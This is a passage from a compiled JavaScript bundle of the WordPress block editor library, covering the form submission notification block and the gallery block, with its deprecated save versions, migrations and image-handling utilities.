        const block = getBlock(clientId);
        return {
          hasInnerBlocks: !!(block && block.innerBlocks.length)
        };
      },
      [clientId]
    );
    const innerBlocksProps = (0, import_block_editor90.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE8,
      renderAppender: hasInnerBlocks ? void 0 : import_block_editor90.InnerBlocks.ButtonBlockAppender
    });
    return /* @__PURE__ */ (0, import_jsx_runtime252.jsx)(
      "div",
      {
        ...innerBlocksProps,
        "data-message-success": (0, import_i18n72.__)("Submission success notification"),
        "data-message-error": (0, import_i18n72.__)("Submission error notification")
      }
    );
  };
  var edit_default14 = Edit15;

  // packages/block-library/build-module/form-submission-notification/block.json
  var block_default37 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    __experimental: true,
    name: "core/form-submission-notification",
    title: "Form Submission Notification",
    category: "common",
    ancestor: ["core/form"],
    description: "Provide a notification message after the form has been submitted.",
    keywords: ["form", "feedback", "notification", "message"],
    textdomain: "default",
    icon: "feedback",
    attributes: {
      type: {
        type: "string",
        default: "success"
      }
    }
  };

  // packages/block-library/build-module/form-submission-notification/save.mjs
  var import_block_editor91 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime253 = __toESM(require_jsx_runtime(), 1);
  function save21({ attributes: attributes2 }) {
    const { type } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime253.jsx)(
      "div",
      {
        ...import_block_editor91.useInnerBlocksProps.save(
          import_block_editor91.useBlockProps.save({
            className: clsx_default("wp-block-form-submission-notification", {
              [`form-notification-type-${type}`]: type
            })
          })
        )
      }
    );
  }

  // packages/block-library/build-module/form-submission-notification/variations.mjs
  var import_i18n73 = __toESM(require_i18n(), 1);
  var variations7 = [
    {
      name: "form-submission-success",
      title: (0, import_i18n73.__)("Form Submission Success"),
      description: (0, import_i18n73.__)("Success message for form submissions."),
      attributes: {
        type: "success"
      },
      isDefault: true,
      innerBlocks: [
        [
          "core/paragraph",
          {
            content: (0, import_i18n73.__)("Your form has been submitted successfully."),
            backgroundColor: "#00D084",
            textColor: "#000000",
            style: {
              elements: { link: { color: { text: "#000000" } } }
            }
          }
        ]
      ],
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => !blockAttributes8?.type || blockAttributes8?.type === "success"
    },
    {
      name: "form-submission-error",
      title: (0, import_i18n73.__)("Form Submission Error"),
      description: (0, import_i18n73.__)("Error/failure message for form submissions."),
      attributes: {
        type: "error"
      },
      isDefault: false,
      innerBlocks: [
        [
          "core/paragraph",
          {
            content: (0, import_i18n73.__)("There was an error submitting your form."),
            backgroundColor: "#CF2E2E",
            textColor: "#FFFFFF",
            style: {
              elements: { link: { color: { text: "#FFFFFF" } } }
            }
          }
        ]
      ],
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => !blockAttributes8?.type || blockAttributes8?.type === "error"
    }
  ];
  var variations_default7 = variations7;

  // packages/block-library/build-module/form-submission-notification/index.mjs
  var { name: name37 } = block_default37;
  var settings37 = {
    icon: group_default,
    edit: edit_default14,
    save: save21,
    variations: variations_default7,
    example: {}
  };
  var init37 = () => initBlock({ name: name37, metadata: block_default37, settings: settings37 });

  // packages/block-library/build-module/gallery/index.mjs
  var gallery_exports = {};
  __export(gallery_exports, {
    init: () => init38,
    metadata: () => block_default38,
    name: () => name38,
    settings: () => settings38
  });

  // packages/block-library/build-module/gallery/deprecated.mjs
  var import_block_editor92 = __toESM(require_block_editor(), 1);
  var import_blocks29 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/gallery/constants.mjs
  var LINK_DESTINATION_NONE = "none";
  var LINK_DESTINATION_MEDIA = "media";
  var LINK_DESTINATION_LIGHTBOX = "lightbox";
  var LINK_DESTINATION_ATTACHMENT = "attachment";
  var LINK_DESTINATION_MEDIA_WP_CORE = "file";
  var LINK_DESTINATION_ATTACHMENT_WP_CORE = "post";
  var DEFAULT_MEDIA_SIZE_SLUG2 = "large";

  // packages/block-library/build-module/gallery/deprecated.mjs
  var import_jsx_runtime254 = __toESM(require_jsx_runtime(), 1);
  var DEPRECATED_LINK_DESTINATION_MEDIA = "file";
  var DEPRECATED_LINK_DESTINATION_ATTACHMENT = "post";
  function defaultColumnsNumberV1(attributes2) {
    return Math.min(3, attributes2?.images?.length);
  }
  function getHrefAndDestination(image, destination) {
    switch (destination) {
      case DEPRECATED_LINK_DESTINATION_MEDIA:
        return {
          href: image?.source_url || image?.url,
          linkDestination: LINK_DESTINATION_MEDIA
        };
      case DEPRECATED_LINK_DESTINATION_ATTACHMENT:
        return {
          href: image?.link,
          linkDestination: LINK_DESTINATION_ATTACHMENT
        };
      case LINK_DESTINATION_MEDIA:
        return {
          href: image?.source_url || image?.url,
          linkDestination: LINK_DESTINATION_MEDIA
        };
      case LINK_DESTINATION_ATTACHMENT:
        return {
          href: image?.link,
          linkDestination: LINK_DESTINATION_ATTACHMENT
        };
      case LINK_DESTINATION_NONE:
        return {
          href: void 0,
          linkDestination: LINK_DESTINATION_NONE
        };
    }
    return {};
  }
  function runV2Migration(attributes2) {
    let linkTo = attributes2.linkTo ? attributes2.linkTo : "none";
    if (linkTo === "post") {
      linkTo = "attachment";
    } else if (linkTo === "file") {
      linkTo = "media";
    }
    const imageBlocks = attributes2.images.map((image) => {
      return getImageBlock(image, attributes2.sizeSlug, linkTo);
    });
    const { images, ids, ...restAttributes } = attributes2;
    return [
      {
        ...restAttributes,
        linkTo,
        allowResize: false
      },
      imageBlocks
    ];
  }
  function getImageBlock(image, sizeSlug, linkTo) {
    return (0, import_blocks29.createBlock)("core/image", {
      ...image.id && { id: parseInt(image.id) },
      url: image.url,
      alt: image.alt,
      caption: image.caption,
      sizeSlug,
      ...getHrefAndDestination(image, linkTo)
    });
  }
  var v72 = {
    attributes: {
      images: {
        type: "array",
        default: [],
        source: "query",
        selector: ".blocks-gallery-item",
        query: {
          url: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "src"
          },
          fullUrl: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-full-url"
          },
          link: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-link"
          },
          alt: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "alt",
            default: ""
          },
          id: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-id"
          },
          caption: {
            type: "string",
            source: "html",
            selector: ".blocks-gallery-item__caption"
          }
        }
      },
      ids: {
        type: "array",
        items: {
          type: "number"
        },
        default: []
      },
      shortCodeTransforms: {
        type: "array",
        default: [],
        items: {
          type: "object"
        }
      },
      columns: {
        type: "number",
        minimum: 1,
        maximum: 8
      },
      caption: {
        type: "string",
        source: "html",
        selector: ".blocks-gallery-caption"
      },
      imageCrop: {
        type: "boolean",
        default: true
      },
      fixedHeight: {
        type: "boolean",
        default: true
      },
      linkTarget: {
        type: "string"
      },
      linkTo: {
        type: "string"
      },
      sizeSlug: {
        type: "string",
        default: "large"
      },
      allowResize: {
        type: "boolean",
        default: false
      }
    },
    save({ attributes: attributes2 }) {
      const { caption, columns, imageCrop } = attributes2;
      const className = clsx_default("has-nested-images", {
        [`columns-${columns}`]: columns !== void 0,
        [`columns-default`]: columns === void 0,
        "is-cropped": imageCrop
      });
      const blockProps = import_block_editor92.useBlockProps.save({ className });
      const innerBlocksProps = import_block_editor92.useInnerBlocksProps.save(blockProps);
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)("figure", { ...innerBlocksProps, children: [
        innerBlocksProps.children,
        !import_block_editor92.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
          import_block_editor92.RichText.Content,
          {
            tagName: "figcaption",
            className: "blocks-gallery-caption",
            value: caption
          }
        )
      ] });
    }
  };
  var v62 = {
    attributes: {
      images: {
        type: "array",
        default: [],
        source: "query",
        selector: ".blocks-gallery-item",
        query: {
          url: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "src"
          },
          fullUrl: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-full-url"
          },
          link: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-link"
          },
          alt: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "alt",
            default: ""
          },
          id: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-id"
          },
          caption: {
            type: "string",
            source: "html",
            selector: ".blocks-gallery-item__caption"
          }
        }
      },
      ids: {
        type: "array",
        items: {
          type: "number"
        },
        default: []
      },
      columns: {
        type: "number",
        minimum: 1,
        maximum: 8
      },
      caption: {
        type: "string",
        source: "html",
        selector: ".blocks-gallery-caption"
      },
      imageCrop: {
        type: "boolean",
        default: true
      },
      fixedHeight: {
        type: "boolean",
        default: true
      },
      linkTo: {
        type: "string"
      },
      sizeSlug: {
        type: "string",
        default: "large"
      }
    },
    supports: {
      anchor: true,
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        caption,
        linkTo
      } = attributes2;
      const className = `columns-${columns} ${imageCrop ? "is-cropped" : ""}`;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)("figure", { ...import_block_editor92.useBlockProps.save({ className }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("ul", { className: "blocks-gallery-grid", children: images.map((image) => {
          let href;
          switch (linkTo) {
            case DEPRECATED_LINK_DESTINATION_MEDIA:
              href = image.fullUrl || image.url;
              break;
            case DEPRECATED_LINK_DESTINATION_ATTACHMENT:
              href = image.link;
              break;
          }
          const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
            "img",
            {
              src: image.url,
              alt: image.alt,
              "data-id": image.id,
              "data-full-url": image.fullUrl,
              "data-link": image.link,
              className: image.id ? `wp-image-${image.id}` : null
            }
          );
          return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
            "li",
            {
              className: "blocks-gallery-item",
              children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)("figure", { children: [
                href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("a", { href, children: img }) : img,
                !import_block_editor92.RichText.isEmpty(image.caption) && /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                  import_block_editor92.RichText.Content,
                  {
                    tagName: "figcaption",
                    className: "blocks-gallery-item__caption",
                    value: image.caption
                  }
                )
              ] })
            },
            image.id || image.url
          );
        }) }),
        !import_block_editor92.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
          import_block_editor92.RichText.Content,
          {
            tagName: "figcaption",
            className: "blocks-gallery-caption",
            value: caption
          }
        )
      ] });
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    }
  };
  var v52 = {
    attributes: {
      images: {
        type: "array",
        default: [],
        source: "query",
        selector: ".blocks-gallery-item",
        query: {
          url: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "src"
          },
          fullUrl: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-full-url"
          },
          link: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-link"
          },
          alt: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "alt",
            default: ""
          },
          id: {
            type: "string",
            source: "attribute",
            selector: "img",
            attribute: "data-id"
          },
          caption: {
            type: "string",
            source: "html",
            selector: ".blocks-gallery-item__caption"
          }
        }
      },
      ids: {
        type: "array",
        items: {
          type: "number"
        },
        default: []
      },
      columns: {
        type: "number",
        minimum: 1,
        maximum: 8
      },
      caption: {
        type: "string",
        source: "html",
        selector: ".blocks-gallery-caption"
      },
      imageCrop: {
        type: "boolean",
        default: true
      },
      linkTo: {
        type: "string",
        default: "none"
      },
      sizeSlug: {
        type: "string",
        default: "large"
      }
    },
    supports: {
      align: true
    },
    isEligible({ linkTo }) {
      return !linkTo || linkTo === "attachment" || linkTo === "media";
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        caption,
        linkTo
      } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(
        "figure",
        {
          className: `columns-${columns} ${imageCrop ? "is-cropped" : ""}`,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("ul", { className: "blocks-gallery-grid", children: images.map((image) => {
              let href;
              switch (linkTo) {
                case "media":
                  href = image.fullUrl || image.url;
                  break;
                case "attachment":
                  href = image.link;
                  break;
              }
              const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                "img",
                {
                  src: image.url,
                  alt: image.alt,
                  "data-id": image.id,
                  "data-full-url": image.fullUrl,
                  "data-link": image.link,
                  className: image.id ? `wp-image-${image.id}` : null
                }
              );
              return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                "li",
                {
                  className: "blocks-gallery-item",
                  children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)("figure", { children: [
                    href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("a", { href, children: img }) : img,
                    !import_block_editor92.RichText.isEmpty(image.caption) && /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                      import_block_editor92.RichText.Content,
                      {
                        tagName: "figcaption",
                        className: "blocks-gallery-item__caption",
                        value: image.caption
                      }
                    )
                  ] })
                },
                image.id || image.url
              );
            }) }),
            !import_block_editor92.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              import_block_editor92.RichText.Content,
              {
                tagName: "figcaption",
                className: "blocks-gallery-caption",
                value: caption
              }
            )
          ]
        }
      );
    }
  };
  var v42 = {
    attributes: {
      images: {
        type: "array",
        default: [],
        source: "query",
        selector: ".blocks-gallery-item",
        query: {
          url: {
            source: "attribute",
            selector: "img",
            attribute: "src"
          },
          fullUrl: {
            source: "attribute",
            selector: "img",
            attribute: "data-full-url"
          },
          link: {
            source: "attribute",
            selector: "img",
            attribute: "data-link"
          },
          alt: {
            source: "attribute",
            selector: "img",
            attribute: "alt",
            default: ""
          },
          id: {
            source: "attribute",
            selector: "img",
            attribute: "data-id"
          },
          caption: {
            type: "string",
            source: "html",
            selector: ".blocks-gallery-item__caption"
          }
        }
      },
      ids: {
        type: "array",
        default: []
      },
      columns: {
        type: "number"
      },
      caption: {
        type: "string",
        source: "html",
        selector: ".blocks-gallery-caption"
      },
      imageCrop: {
        type: "boolean",
        default: true
      },
      linkTo: {
        type: "string",
        default: "none"
      }
    },
    supports: {
      align: true
    },
    isEligible({ ids }) {
      return ids && ids.some((id) => typeof id === "string");
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        caption,
        linkTo
      } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(
        "figure",
        {
          className: `columns-${columns} ${imageCrop ? "is-cropped" : ""}`,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("ul", { className: "blocks-gallery-grid", children: images.map((image) => {
              let href;
              switch (linkTo) {
                case "media":
                  href = image.fullUrl || image.url;
                  break;
                case "attachment":
                  href = image.link;
                  break;
              }
              const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                "img",
                {
                  src: image.url,
                  alt: image.alt,
                  "data-id": image.id,
                  "data-full-url": image.fullUrl,
                  "data-link": image.link,
                  className: image.id ? `wp-image-${image.id}` : null
                }
              );
              return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                "li",
                {
                  className: "blocks-gallery-item",
                  children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)("figure", { children: [
                    href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("a", { href, children: img }) : img,
                    !import_block_editor92.RichText.isEmpty(image.caption) && /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                      import_block_editor92.RichText.Content,
                      {
                        tagName: "figcaption",
                        className: "blocks-gallery-item__caption",
                        value: image.caption
                      }
                    )
                  ] })
                },
                image.id || image.url
              );
            }) }),
            !import_block_editor92.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              import_block_editor92.RichText.Content,
              {
                tagName: "figcaption",
                className: "blocks-gallery-caption",
                value: caption
              }
            )
          ]
        }
      );
    }
  };
  var v33 = {
    attributes: {
      images: {
        type: "array",
        default: [],
        source: "query",
        selector: "ul.wp-block-gallery .blocks-gallery-item",
        query: {
          url: {
            source: "attribute",
            selector: "img",
            attribute: "src"
          },
          fullUrl: {
            source: "attribute",
            selector: "img",
            attribute: "data-full-url"
          },
          alt: {
            source: "attribute",
            selector: "img",
            attribute: "alt",
            default: ""
          },
          id: {
            source: "attribute",
            selector: "img",
            attribute: "data-id"
          },
          link: {
            source: "attribute",
            selector: "img",
            attribute: "data-link"
          },
          caption: {
            type: "string",
            source: "html",
            selector: "figcaption"
          }
        }
      },
      ids: {
        type: "array",
        default: []
      },
      columns: {
        type: "number"
      },
      imageCrop: {
        type: "boolean",
        default: true
      },
      linkTo: {
        type: "string",
        default: "none"
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        linkTo
      } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
        "ul",
        {
          className: `columns-${columns} ${imageCrop ? "is-cropped" : ""}`,
          children: images.map((image) => {
            let href;
            switch (linkTo) {
              case "media":
                href = image.fullUrl || image.url;
                break;
              case "attachment":
                href = image.link;
                break;
            }
            const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              "img",
              {
                src: image.url,
                alt: image.alt,
                "data-id": image.id,
                "data-full-url": image.fullUrl,
                "data-link": image.link,
                className: image.id ? `wp-image-${image.id}` : null
              }
            );
            return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              "li",
              {
                className: "blocks-gallery-item",
                children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)("figure", { children: [
                  href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("a", { href, children: img }) : img,
                  image.caption && image.caption.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                    import_block_editor92.RichText.Content,
                    {
                      tagName: "figcaption",
                      value: image.caption
                    }
                  )
                ] })
              },
              image.id || image.url
            );
          })
        }
      );
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    }
  };
  var v28 = {
    attributes: {
      images: {
        type: "array",
        default: [],
        source: "query",
        selector: "ul.wp-block-gallery .blocks-gallery-item",
        query: {
          url: {
            source: "attribute",
            selector: "img",
            attribute: "src"
          },
          alt: {
            source: "attribute",
            selector: "img",
            attribute: "alt",
            default: ""
          },
          id: {
            source: "attribute",
            selector: "img",
            attribute: "data-id"
          },
          link: {
            source: "attribute",
            selector: "img",
            attribute: "data-link"
          },
          caption: {
            type: "string",
            source: "html",
            selector: "figcaption"
          }
        }
      },
      columns: {
        type: "number"
      },
      imageCrop: {
        type: "boolean",
        default: true
      },
      linkTo: {
        type: "string",
        default: "none"
      }
    },
    isEligible({ images, ids }) {
      return images && images.length > 0 && (!ids && images || ids && images && ids.length !== images.length || images.some((id, index) => {
        if (!id && ids[index] !== null) {
          return true;
        }
        return parseInt(id, 10) !== ids[index];
      }));
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        linkTo
      } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
        "ul",
        {
          className: `columns-${columns} ${imageCrop ? "is-cropped" : ""}`,
          children: images.map((image) => {
            let href;
            switch (linkTo) {
              case "media":
                href = image.url;
                break;
              case "attachment":
                href = image.link;
                break;
            }
            const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              "img",
              {
                src: image.url,
                alt: image.alt,
                "data-id": image.id,
                "data-link": image.link,
                className: image.id ? `wp-image-${image.id}` : null
              }
            );
            return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              "li",
              {
                className: "blocks-gallery-item",
                children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)("figure", { children: [
                  href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("a", { href, children: img }) : img,
                  image.caption && image.caption.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                    import_block_editor92.RichText.Content,
                    {
                      tagName: "figcaption",
                      value: image.caption
                    }
                  )
                ] })
              },
              image.id || image.url
            );
          })
        }
      );
    }
  };
  var v117 = {
    attributes: {
      images: {
        type: "array",
        default: [],
        source: "query",
        selector: "div.wp-block-gallery figure.blocks-gallery-image img",
        query: {
          url: {
            source: "attribute",
            attribute: "src"
          },
          alt: {
            source: "attribute",
            attribute: "alt",
            default: ""
          },
          id: {
            source: "attribute",
            attribute: "data-id"
          }
        }
      },
      columns: {
        type: "number"
      },
      imageCrop: {
        type: "boolean",
        default: true
      },
      linkTo: {
        type: "string",
        default: "none"
      },
      align: {
        type: "string",
        default: "none"
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        align,
        imageCrop,
        linkTo
      } = attributes2;
      const className = clsx_default(`columns-${columns}`, {
        alignnone: align === "none",
        "is-cropped": imageCrop
      });
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("div", { className, children: images.map((image) => {
        let href;
        switch (linkTo) {
          case "media":
            href = image.url;
            break;
          case "attachment":
            href = image.link;
            break;
        }
        const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
          "img",
          {
            src: image.url,
            alt: image.alt,
            "data-id": image.id
          }
        );
        return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
          "figure",
          {
            className: "blocks-gallery-image",
            children: href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)("a", { href, children: img }) : img
          },
          image.id || image.url
        );
      }) });
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    }
  };
  var deprecated_default19 = [v72, v62, v52, v42, v33, v28, v117];

  // packages/block-library/build-module/gallery/edit.mjs
  var import_components45 = __toESM(require_components(), 1);
  var import_block_editor95 = __toESM(require_block_editor(), 1);
  var import_element33 = __toESM(require_element(), 1);
  var import_i18n75 = __toESM(require_i18n(), 1);
  var import_data38 = __toESM(require_data(), 1);
  var import_primitives160 = __toESM(require_primitives(), 1);
  var import_blocks30 = __toESM(require_blocks(), 1);
  var import_blob9 = __toESM(require_blob(), 1);
  var import_notices6 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/gallery/shared-icon.mjs
  var import_block_editor93 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime255 = __toESM(require_jsx_runtime(), 1);
  var sharedIcon = /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(import_block_editor93.BlockIcon, { icon: gallery_default });

  // packages/block-library/build-module/gallery/shared.mjs
  function defaultColumnsNumber(imageCount) {
    return imageCount ? Math.min(3, imageCount) : 3;
  }
  var pickRelevantMediaFiles = (image, sizeSlug = "large") => {
    const imageProps = Object.fromEntries(
      Object.entries(image ?? {}).filter(
        ([key]) => ["alt", "id", "link"].includes(key)
      )
    );
    imageProps.url = image?.sizes?.[sizeSlug]?.url || image?.media_details?.sizes?.[sizeSlug]?.source_url || image?.url || image?.source_url;
    const fullUrl = image?.sizes?.full?.url || image?.media_details?.sizes?.full?.source_url;
    if (fullUrl) {
      imageProps.fullUrl = fullUrl;
    }
    return imageProps;
  };

  // packages/block-library/build-module/image/constants.mjs
  var MIN_SIZE2 = 20;
  var LINK_DESTINATION_NONE2 = "none";
  var LINK_DESTINATION_MEDIA2 = "media";
  var LINK_DESTINATION_ATTACHMENT2 = "attachment";
  var LINK_DESTINATION_CUSTOM = "custom";
  var NEW_TAB_REL2 = ["noreferrer", "noopener"];
  var ALLOWED_MEDIA_TYPES3 = ["image"];
  var SIZED_LAYOUTS = ["flex", "grid"];
  var DEFAULT_MEDIA_SIZE_SLUG3 = "full";

  // packages/block-library/build-module/gallery/utils.mjs
  function getHrefAndDestination2(image, galleryDestination, imageDestination, attributes2, lightboxSetting) {
    switch (imageDestination ? imageDestination : galleryDestination) {
      case LINK_DESTINATION_MEDIA_WP_CORE:
      case LINK_DESTINATION_MEDIA:
        return {
          href: image?.source_url || image?.url,
          linkDestination: LINK_DESTINATION_MEDIA2,
          lightbox: lightboxSetting?.enabled ? { ...attributes2?.lightbox, enabled: false } : void 0
        };
      case LINK_DESTINATION_ATTACHMENT_WP_CORE:
      case LINK_DESTINATION_ATTACHMENT:
        return {
          href: image?.link,
          linkDestination: LINK_DESTINATION_ATTACHMENT2,
          lightbox: lightboxSetting?.enabled ? { ...attributes2?.lightbox, enabled: false } : void 0
        };
      case LINK_DESTINATION_LIGHTBOX:
        return {
          href: void 0,
          lightbox: !lightboxSetting?.enabled ? { ...attributes2?.lightbox, enabled: true } : void 0,
          linkDestination: LINK_DESTINATION_NONE2
        };
      case LINK_DESTINATION_NONE:
        return {
          href: void 0,
          linkDestination: LINK_DESTINATION_NONE2,
          lightbox: void 0
        };
    }
    return {};
  }

  // packages/block-library/build-module/image/utils.mjs
  function evalAspectRatio(value) {
    const [width, height = 1] = value.split("/").map(Number);
    const aspectRatio = width / height;
    return aspectRatio === Infinity || aspectRatio === 0 ? NaN : aspectRatio;
  }
  function removeNewTabRel(currentRel) {
    let newRel = currentRel;
    if (currentRel !== void 0 && newRel) {
      NEW_TAB_REL2.forEach((relVal) => {
        const regExp = new RegExp("\\b" + relVal + "\\b", "gi");
        newRel = newRel.replace(regExp, "");
      });
      if (newRel !== currentRel) {
        newRel = newRel.trim();
      }
      if (!newRel) {
        newRel = void 0;
      }
    }
    return newRel;
  }
  function getUpdatedLinkTargetSettings(value, { rel }) {
    const linkTarget = value ? "_blank" : void 0;
    let updatedRel;
    if (!linkTarget && !rel) {
      updatedRel = void 0;
    } else {
      updatedRel = removeNewTabRel(rel);
    }
    return {
      linkTarget,
      rel: updatedRel
    };
  }
  function getImageSizeAttributes(image, size) {
    const url = image?.media_details?.sizes?.[size]?.source_url;
    if (url) {
      return { url, width: void 0, height: void 0, sizeSlug: size };
    }
    return {};
  }
  function isValidFileType(file) {
    return ALLOWED_MEDIA_TYPES3.some(
      (mediaType) => file.type.indexOf(mediaType) === 0
    );
  }
  function mediaPosition2({ x: x2, y: y2 } = { x: 0.5, y: 0.5 }) {
    return `${Math.round(x2 * 100)}% ${Math.round(y2 * 100)}%`;
  }

  // packages/block-library/build-module/gallery/gallery.mjs
  var import_i18n74 = __toESM(require_i18n(), 1);
  var import_primitives159 = __toESM(require_primitives(), 1);
  var import_jsx_runtime256 = __toESM(require_jsx_runtime(), 1);
  function Gallery(props) {
    const {
      attributes: attributes2,
      isSelected,
      setAttributes,
      mediaPlaceholder,
      insertBlocksAfter,
      blockProps,
      __unstableLayoutClassNames: layoutClassNames,
      isContentLocked,
      multiGallerySelection
    } = props;
    const { align, columns, imageCrop } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime256.jsxs)(
      "figure",
      {
        ...blockProps,
        className: clsx_default(
          blockProps.className,
          layoutClassNames,
          "blocks-gallery-grid",
          {
            [`align${align}`]: align,
            [`columns-${columns}`]: columns !== void 0,
            [`columns-default`]: columns === void 0,
            "is-cropped": imageCrop
          }
        ),
        children: [
          blockProps.children,
          isSelected && !blockProps.children && /* @__PURE__ */ (0, import_jsx_runtime256.jsx)(import_primitives159.View, { className: "blocks-gallery-media-placeholder-wrapper", children: mediaPlaceholder }),
          /* @__PURE__ */ (0, import_jsx_runtime256.jsx)(
            Caption,
            {
              attributes: attributes2,
              setAttributes,
              isSelected,
              insertBlocksAfter,
              showToolbarButton: !multiGallerySelection && !isContentLocked,
              className: "blocks-gallery-caption",
              label: (0, import_i18n74.__)("Gallery caption text"),
              placeholder: (0, import_i18n74.__)("Add gallery caption")
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/gallery/use-image-sizes.mjs
  var import_element31 = __toESM(require_element(), 1);
  function useImageSizes(images, isSelected, getSettings2) {
    return (0, import_element31.useMemo)(() => getImageSizing(), [images, isSelected]);
    function getImageSizing() {
      if (!images || images.length === 0) {
        return;
      }
      const { imageSizes } = getSettings2();
      let resizedImages = {};
      if (isSelected) {
        resizedImages = images.reduce((currentResizedImages, img) => {
          if (!img.id) {
            return currentResizedImages;
          }
          const sizes = imageSizes.reduce((currentSizes, size) => {
            const defaultUrl = img.sizes?.[size.slug]?.url;
            const mediaDetailsUrl = img.media_details?.sizes?.[size.slug]?.source_url;
            return {
              ...currentSizes,
              [size.slug]: defaultUrl || mediaDetailsUrl
            };
          }, {});
          return {
            ...currentResizedImages,
            [parseInt(img.id, 10)]: sizes
          };
        }, {});
      }
      const resizedImageSizes = Object.values(resizedImages);
      return imageSizes.filter(
        ({ slug }) => resizedImageSizes.some((sizes) => sizes[slug])
      ).map(({ name: name123, slug }) => ({ value: slug, label: name123 }));
    }
  }

  // packages/block-library/build-module/gallery/use-get-new-images.mjs
  var import_element32 = __toESM(require_element(), 1);
  function useGetNewImages(images, imageData) {
    const [currentImages, setCurrentImages] = (0, import_element32.useState)([]);
    return (0, import_element32.useMemo)(() => getNewImages(), [images, imageData]);
    function getNewImages() {
      let imagesUpdated = false;
      const newCurrentImages = currentImages.filter(
        (currentImg) => images.find((img) => {
          return currentImg.clientId === img.clientId;
        })
      );
      if (newCurrentImages.length < currentImages.length) {
        imagesUpdated = true;
      }
      images.forEach((image) => {
        if (image.fromSavedContent && !newCurrentImages.find(
          (currentImage) => currentImage.id === image.id
        )) {
